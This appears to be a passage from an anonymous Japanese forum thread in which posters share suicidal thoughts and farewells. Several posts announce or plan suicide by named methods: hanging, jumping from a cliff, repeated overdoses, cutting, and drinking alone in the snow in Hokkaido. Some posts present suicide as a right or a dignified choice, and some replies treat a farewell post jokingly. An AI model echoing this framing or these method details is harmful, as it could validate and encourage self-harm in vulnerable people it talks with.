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強いものが生き、弱いものが死ぬ。
だけど他人に殺されるのはやだ。
せめて自分で決着をつけるべきなのだろう。


すごく眠いよ…パトラッシュ…

板垣死すとも自由は死せず

死にたいなあ。辛いなあ。

シンドイなぁ。
やっぱ死のう

家族には迷惑かけたくないから
自殺に見えない死に方したい

あ、それでも迷惑かかってるか

死にたくない

医者のために生きてんのか？冗談やめてくれ
なんでこんなことになってん誰か助けてくれ

あいつはなんやねん
頭から消えてくれ

過去に戻れるなら戻りたい

消えたいな

誰にも迷惑を掛けずに、
誰も悲しませずに死ねるなら、
あたしはもうとっくに生きてはいないな

>>593
わたしと同じだね。

間違った選択でもしなかったら自分を救い出せなかった。
今ここにいなかった。
あのとき誰もたすけてなんかくれなかったから。
生きるためにした選択だったはずなのに
どうして後悔してるんだろう・・・

もうすぐ２４になる。
祝福された日に生まれたのに、ちっともしあわせなんか見えない。
なにもかもが灰色に見える。

いまから首吊りします
さよなら

さようなら。

死にたいのは己が満たされないから。
人間は上を目指して生きようとする。戦っていく。

でもそれに負けてしまった人間は…
己の無力さに涙を流し、立ち上げれない程の挫折感を味わう。
それでも生きていこうとする人間は未来に大輪の花を咲かせるだろう。

死を選ぶ人間に罪はない。負け続けてしまう事…
それも一つの人生だから。

ならば私は死を選ぼう。もう戦いたくはない。
誰の事も傷つけたくはない。

私の死を嘆き、悲しむ者もいるだろう。
それでも生ける屍であり続けるよりは悪い選択ではない。

生まれてきてこれまで供に過ごした人達よ…
今まで言えなかった事を最後の言葉として聞いてほしい。
心から…

ありがとう。

…
>立ち上げれない　×
>立ち上がれない　○

…畜生！せっかくカッコよく死のうと思ったのに
誤字を残して死ねないＹＯ！

ち、また改めて出直すぜ…

こんな世界に未練なんてないもん。もっとあたしの理想の世界で生きたい。だから死ぬ事にしたんだ。

鬱になって沢山の大切なものをなくした。
そして、ついに一番大切なものを失った。
一番理解者であったはずの彼氏を…。


もう生きていたくない。
失う苦しみなんて味わいたくない。


死ぬことだって、一つの権利だよね？
立て続けのOD癖で親に薬を管理されてる今
自殺するときは崖から飛び降りようと場所を探しています。

何度も考え直したけど、やっぱり死にたい。
幻覚が見える。

笑っている上司の顔が死神の微笑みに見える。
唯一の繋がりだった彼とも終わりの時が来た。
もう未練はない。

今はただ両親への罪の意識だけが残る。

ごめんなさい…

そして私は腕を切る。

気が付けば病院…そして涙を流す両親。

何度繰り返しただろう。

今、手元には片道分だけの北海道行きのお金がある。
雪の中、大好きなお酒を飲んで死ぬのもいい。

バイバイ、私。

612さん、どんまい（´・ω・｀）